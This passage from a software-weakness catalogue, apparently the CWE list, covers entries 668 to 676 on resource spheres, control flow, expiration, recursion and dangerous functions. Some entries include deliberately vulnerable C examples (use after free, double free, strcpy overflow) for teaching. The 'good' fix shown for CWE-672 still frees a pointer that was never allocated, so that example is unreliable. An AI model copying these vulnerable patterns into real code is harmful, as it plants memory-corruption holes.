MemberOf	C	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2003

Notes

Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	CON31-C	CWE More Abstract	Do not destroy a mutex while it is locked
CERT C Secure Coding	POS48-C	CWE More Abstract	Do not unlock or destroy another POSIX thread's mutex
The CERT Oracle Secure Coding Standard for Java (2011)	VNA00-J		Ensure visibility when accessing shared primitive variables
The CERT Oracle Secure Coding Standard for Java (2011)	VNA02-J		Ensure that compound operations on shared variables are atomic
The CERT Oracle Secure Coding Standard for Java (2011)	VNA05-J		Ensure atomicity when reading and writing 64-bit values
The CERT Oracle Secure Coding Standard for Java (2011)	LCK06-J		Do not use an instance lock to protect shared static data
Software Fault Patterns	SFP19		Missing Lock
OMG ASCSM	ASCSM-CWE-667		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock
26	Leveraging Race Conditions
27	Leveraging Race Conditions via Symbolic Links

References

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-668: Exposure of Resource to Wrong Sphere

Weakness ID : 668 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.

Extended Description

Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.

A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system.

In either case, the end result is that a resource has been exposed to the wrong party.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	V	8	J2EE Misconfiguration: Entity Bean Declared Remote	6
ParentOf	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	31
ParentOf	B	134	Use of Externally-Controlled Format String	334
ParentOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	466
ParentOf	B	374	Passing Mutable Objects to an Untrusted Method	824
ParentOf	B	375	Returning a Mutable Object to an Untrusted Caller	827
ParentOf	C	377	Insecure Temporary File	829
ParentOf	C	402	Transmission of Private Resources into a New Sphere ('Resource Leak')	875
ParentOf	B	427	Uncontrolled Search Path Element	922
ParentOf	B	428	Unquoted Search Path or Element	927
ParentOf	V	491	Public cloneable() Method Without Final ('Object Hijack')	1044
ParentOf	V	492	Use of Inner Class Containing Sensitive Data	1046
ParentOf	V	493	Critical Public Variable Without Final Modifier	1053

Nature	Type	ID	Name	Page
ParentOf	C	522	Insufficiently Protected Credentials	1091
ParentOf	B	524	Use of Cache Containing Sensitive Information	1096
ParentOf	B	552	Files or Directories Accessible to External Parties	1125
ParentOf	V	582	Array Declared Public, Final, and Static	1168
ParentOf	V	583	finalize() Method Declared Public	1169
ParentOf	V	608	Struts: Non-private Field in ActionForm Class	1210
ParentOf	C	642	External Control of Critical State Data	1257
ParentOf	C	732	Incorrect Permission Assignment for Critical Resource	1367
ParentOf	V	767	Access to Critical Private Variable via Public Method	1418
ParentOf	V	927	Use of Implicit Intent for Sensitive Communication	1611
ParentOf	B	1189	Improper Isolation of Shared Resources on System-on-Chip (SoC)	1726
ParentOf	B	1282	Assumed-Immutable Data Stored in Writable Memory	1835
CanFollow	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	950
CanFollow	V	942	Permissive Cross-domain Policy with Untrusted Domains	1621

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	134	Use of Externally-Controlled Format String	334
ParentOf	B	426	Untrusted Search Path	917
ParentOf	B	427	Uncontrolled Search Path Element	922
ParentOf	B	428	Unquoted Search Path or Element	927
ParentOf	B	552	Files or Directories Accessible to External Parties	1125

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
Other	Other	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

Notes

Theoretical

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be

"users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

CWE-669: Incorrect Resource Transfer Between Spheres

Weakness ID : 669 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	500
ParentOf	V	243	Creation of chroot Jail Without Changing Working Directory	538
ParentOf	B	434	Unrestricted Upload of File with Dangerous Type	935
ParentOf	B	494	Download of Code Without Integrity Check	1055
ParentOf	B	602	Client-Side Enforcement of Server-Side Security	1200
ParentOf	B	829	Inclusion of Functionality from Untrusted Control Sphere	1532
CanFollow	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	540

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	500
ParentOf	B	434	Unrestricted Upload of File with Dangerous Type	935
ParentOf	B	494	Download of Code Without Integrity Check	1055
ParentOf	B	565	Reliance on Cookies without Validation and Integrity Checking	1140
ParentOf	B	829	Inclusion of Functionality from Untrusted Control Sphere	1532

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Background Details

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users

who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data Unexpected State	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

CWE-670: Always-Incorrect Control Flow Implementation

Weakness ID : 670 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated.

Extended Description

This weakness captures cases in which a particular code segment is always incorrect with respect to the algorithm that it is implementing. For example, if a C programmer intends to include multiple statements in a single block but does not include the enclosing braces (CWE-483), then the logic is always incorrect. This issue is in contrast to most weaknesses in which the code usually behaves correctly, except when it is externally manipulated in malicious ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
ParentOf	B	480	Use of Incorrect Operator	1023
ParentOf	B	483	Incorrect Block Delimitation	1032
ParentOf	B	484	Omitted Break Statement in Switch	1034
ParentOf	B	617	Reachable Assertion	1224
ParentOf	B	698	Execution After Redirect (EAR)	1353
ParentOf	B	783	Operator Precedence Logic Error	1453

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	617	Reachable Assertion	1224

Common Consequences

Scope	Impact	Likelihood
Other	Other Alter Execution Logic	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

Notes

Maintenance

This node could possibly be split into lower-level nodes. "Early Return" is for returning control to the caller too soon (e.g., CWE-584). "Excess Return" is when control is returned too far up the call stack (CWE-600, CWE-395). "Improper control limitation" occurs when the product maintains control at a lower level of execution, when control should be returned "further" up the call stack (CWE-455). "Incorrect syntax" covers code that's "just plain wrong" such as CWE-484 and CWE-483.

CWE-671: Lack of Administrator Control over Security

Weakness ID : 671 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This introduces resultant weaknesses or prevents it from operating at a level of security that is desired by the administrator.

Extended Description

If the product's administrator does not have the ability to manage security-related decisions at all times, then protecting the product from outside threats - including the product's developer - can become impossible. For example, a hard-coded account name and password cannot be changed by the administrator, thus exposing that product to attacks that the administrator can not prevent.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	657	Violation of Secure Design Principles	1287

Nature	Type	ID	Name	Page
ParentOf	B	447	Unimplemented or Unsupported Feature in UI	957
ParentOf	B	798	Use of Hard-coded Credentials	1486

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	1946

CWE-672: Operation on a Resource after Expiration or Release

Weakness ID : 672 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	666	Operation on Resource in Wrong Phase of Lifetime	1298
ParentOf	V	298	Improper Validation of Certificate Expiration	659
ParentOf	B	324	Use of a Key Past its Expiration Date	715
ParentOf	B	613	Insufficient Session Expiration	1219
ParentOf	B	825	Expired Pointer Dereference	1523
ParentOf	B	910	Use of Expired File Descriptor	1584
CanFollow	B	562	Return of Stack Variable Address	1136
CanFollow	B	826	Premature Release of Resource During Expected Lifetime	1525
CanFollow	B	911	Improper Update of Reference Count	1585

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	V	415	Double Free	901
ParentOf	V	416	Use After Free	904

Nature	Type	ID	Name	Page
ParentOf	B	613	Insufficient Session Expiration	1219

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Modify Application Data Read Application Data *If a released resource is subsequently reused or reallocated, then an attempt to use the original resource might allow access to sensitive data that is associated with a different user or entity.*	
Other Availability	Other DoS: Crash, Exit, or Restart *When a resource is released it might not be in an expected state, later attempts to access the resource may lead to resultant errors that may lead to a crash.*	

Demonstrative Examples

Example 1:

The following code shows a simple example of a use after free error:

Example Language: C *(bad)*

```
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Example 2:

The following code shows a simple example of a double free error:

Example Language: C *(bad)*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
    free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 3:

In the following C/C++ example the method processMessage is used to process a message received in the input array of char arrays. The input message array contains two char arrays: the first is the length of the message and the second is the body of the message. The length of the message is retrieved and used to allocate enough memory for a local char array, messageBody, to be created for the message body. The messageBody is processed in the method processMessageBody that will return an error if an error occurs while processing. If an error occurs then the return result variable is set to indicate an error and the messageBody char array memory is released using the method free and an error message is sent to the logError method.

Example Language: C *(bad)*

```
#define FAIL 0
#define SUCCESS 1
#define ERROR -1
#define MAX_MESSAGE_SIZE 32
int processMessage(char **message)
{
    int result = SUCCESS;
    int length = getMessageLength(message[0]);
    char *messageBody;
    if ((length > 0) && (length < MAX_MESSAGE_SIZE)) {
        messageBody = (char*)malloc(length*sizeof(char));
        messageBody = &message[1][0];
        int success = processMessageBody(messageBody);
        if (success == ERROR) {
            result = ERROR;
            free(messageBody);
        }
    }
    else {
        printf("Unable to process message; invalid message length");
        result = FAIL;
    }
    if (result == ERROR) {
        logError("Error processing message", messageBody);
    }
    return result;
}
```

However, the call to the method logError includes the messageBody after the memory for messageBody has been released using the free method. This can cause unexpected results and may lead to system crashes. A variable should never be used after its memory resources have been released.

Example Language: C *(good)*

```
...
messageBody = (char*)malloc(length*sizeof(char));
messageBody = &message[1][0];
int success = processMessageBody(messageBody);
if (success == ERROR) {
    result = ERROR;
    logError("Error processing message", messageBody);
    free(messageBody);
}
...
```

Observed Examples

Reference	Description
CVE-2009-3547	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3547*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	983	SFP Secondary Cluster: Faulty Resource Use	888	1950
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP15		Faulty Resource Use
CERT C Secure Coding	FIO46-C	CWE More Abstract	Do not access a closed file
CERT C Secure Coding	MEM30-C	CWE More Abstract	Do not access freed memory
OMG ASCSM	ASCSM-CWE-672		

References

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-673: External Influence of Sphere Definition

Weakness ID : 673 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product does not prevent the definition of control spheres from external actors.

Extended Description

Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	B	426	Untrusted Search Path	917

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Demonstrative Examples

Example 1:

Consider a blog publishing tool, which might have three explicit control spheres: the creation of articles, only accessible to a "publisher;" commenting on articles, only accessible to a "commenter" who is a registered user; and reading articles, only accessible to an anonymous reader. Suppose that the application is deployed on a web server that is shared with untrusted parties. If a local user can modify the data files that define who a publisher is, then this user has modified the control sphere. In this case, the issue would be resultant from another weakness such as insufficient permissions.

Example 2:

In Untrusted Search Path (CWE-426), a user might be able to define the PATH environment variable to cause the product to search in the wrong directory for a library to load. The product's intended sphere of control would include "resources that are only modifiable by the person who installed the product." The PATH effectively changes the definition of this sphere so that it overlaps the attacker's sphere of control.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1955

Notes

Theoretical

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

CWE-674: Uncontrolled Recursion

Weakness ID : 674 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product does not properly control the amount of recursion that takes place, which consumes excessive resources, such as allocated memory or the program stack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
ParentOf	B	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1440

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1440

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Stack Exhaustion :

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *Resources including CPU, memory, and stack memory could be rapidly consumed or exhausted, eventually leading to an exit or crash.*	
Confidentiality	Read Application Data *In some cases, an application's interpreter might kill a process or thread that appears to be consuming too much resources, such as with PHP's memory_limit setting. When the interpreter kills the process/thread, it might report an error containing detailed information such as the application's installation path.*	

Potential Mitigations

Phase: Implementation

Limit the number of recursive calls to a reasonable number.

Observed Examples

Reference	Description
CVE-2007-1285	Deeply nested arrays trigger stack exhaustion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1285*
CVE-2007-3409	Self-referencing pointers create infinite loop and resultant stack exhaustion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3409*

Affected Resources

- CPU

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1879
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	985	SFP Secondary Cluster: Unrestricted Consumption	888	1951
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
Software Fault Patterns	SFP13		Unrestricted Consumption
OMG ASCRM	ASCRM-CWE-674		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
230	XML Nested Payloads
231	XML Oversized Payloads

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-675: Duplicate Operations on Resource

Weakness ID : 675 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product performs the same operation on a resource two or more times, when the operation should only be applied once.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1153
ParentOf	V	174	Double Decoding of the Same Data	403
ParentOf	V	415	Double Free	901
ParentOf	B	605	Multiple Binds to the Same Port	1205
ParentOf	B	764	Multiple Locks of a Critical Resource	1413

Nature	Type	ID	Name	Page
ParentOf	B	765	Multiple Unlocks of a Critical Resource	1414
PeerOf	V	102	Struts: Duplicate Validation Forms	227
PeerOf	V	586	Explicit Call to Finalize()	1174
PeerOf	V	85	Doubled Character XSS Manipulations	175

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	984	SFP Secondary Cluster: Life Cycle	888	1951

Notes

Relationship

This weakness is probably closely associated with other issues related to doubling, such as CWE-462 (duplicate key in alist) or CWE-102 (Struts duplicate validation forms). It's usually a case of an API contract violation (CWE-227).

CWE-676: Use of Potentially Dangerous Function

Weakness ID : 676 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The program invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1177	Use of Prohibited Code	1725
ParentOf	V	785	Use of Path Manipulation Function without Maximum-sized Buffer	1459

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1228	API / Function Errors	2019

Weakness Ordinalities

Primary :

Indirect :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context Quality Degradation Unexpected State *If the function is used incorrectly, then it could result in security problems.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis Cost effective for partial coverage: Binary / Bytecode Quality Analysis Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Debugger Cost effective for partial coverage: Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Warning Flags Source Code Quality Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Origin Analysis

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Build and Compilation

Phase: Implementation

Identify a list of prohibited API functions and prohibit developers from using these functions, providing safer alternatives. In some cases, automatic code analysis tools or the compiler can be instructed to spot use of prohibited functions, such as the "banned.h" include file from Microsoft's SDL. [REF-554] [REF-7]

Demonstrative Examples

Example 1:

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

Example Language: C *(bad)*

```
void manipulate_string(char * string){
    char buf[24];
    strcpy(buf, string);
    ...
}
```

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and blindly copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

Observed Examples

Reference	Description
CVE-2007-1470	Library has multiple buffer overflows using sprintf() and strcpy() *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1470*
CVE-2009-3849	Buffer overflow using strcat() *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3849*
CVE-2006-2114	Buffer overflow using strcpy() *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2114*
CVE-2006-0963	Buffer overflow using strcpy() *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0963*
CVE-2011-0712	Vulnerable use of strcpy() changed to use safer strlcpy() *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0712*
CVE-2008-5005	Buffer overflow using strcpy() *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5005*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	1882
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	734	1890
MemberOf	C	865	2011 Top 25 - Risky Resource Management	900	1911
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1914
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959
MemberOf	C	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	1997
MemberOf	C	1165	SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)	1154	1999
MemberOf	C	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	1154	2000
MemberOf	C	1169	SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)	1154	2001
MemberOf	C	1170	SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)	1154	2002

Notes

Relationship

This weakness is different than CWE-242 (Use of Inherently Dangerous Function). CWE-242 covers functions with such significant security problems that they can never be guaranteed to be safe. Some functions, if used properly, do not directly pose a security risk, but can introduce a weakness if not called correctly. These are regarded as potentially dangerous. A well-known example is the strcpy() function. When provided with a destination buffer that is larger than its source, strcpy() will not overflow. However, it is so often misused that some developers prohibit strcpy() entirely.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Dangerous Functions
CERT C Secure Coding	CON33-C	CWE More Abstract	Avoid race conditions when using library functions
CERT C Secure Coding	ENV33-C	CWE More Abstract	Do not call system()
CERT C Secure Coding	ERR07-C		Prefer functions that support error checking over equivalent functions that don't
